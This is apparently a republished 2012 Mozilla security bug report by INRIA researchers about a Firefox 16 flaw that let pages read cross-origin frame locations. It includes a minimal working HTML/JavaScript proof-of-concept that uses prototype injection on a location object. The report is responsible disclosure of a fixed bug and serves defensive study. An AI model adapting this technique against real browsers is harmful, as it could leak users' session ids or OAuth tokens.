More cross origin location access problems
Antoine Delignat-Lavaud Follow
Originally disclosed on Mozilla
- Fixed in 2 days
- Paid in 3 months
- Disclosed after 2 days
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Steps to reproduce:
Firefox 16.0.0 suffered from a nasty bug allowing cross-origin access to window.location, which can be easily exploited to steal session ids or OAuth tokens on many websites, including high profile ones.
Even though 16.0.1 fiexed the immediate bug, this called into question the effectiveness of the wrappers intended to protect the location object. Our research team PROSECCO at INRIA Paris is currently building formal analysis tools for JavaScript and while investigating the wrapped native prototype and global scope polluter implementation, we found that they suffered from a bottom-up property injection by prototype that can be exploited to recover cross-origin locations.
The following minimal exploit should be self-explanatory:
<html>
<head>
<script type="text/javascript">
window.onload = function()
{
f = document.getElementById('f');
loc = f.contentWindow.location;
loc2 = {toString: loc.toString};
loc2.__proto__ = f.contentWindow.location;
f.src = "http://www.mozilla.com";
}
</script>
</head>
<body>
<iframe id="f" src="about:blank"></iframe>
<input type="button" onclick="alert(loc2.toString());" value="Get URL" />
</body>
</html>
Actual results:
Clicking the Get URL button reveals the current and complete location of the frame
Expected results:
As soon as the frame's location was changed to mozilla.com access to the location should have been impossible
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity info disclosure bug in XPConnect. Mozilla made it public on 19 October 2012.
About Info disclosure
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.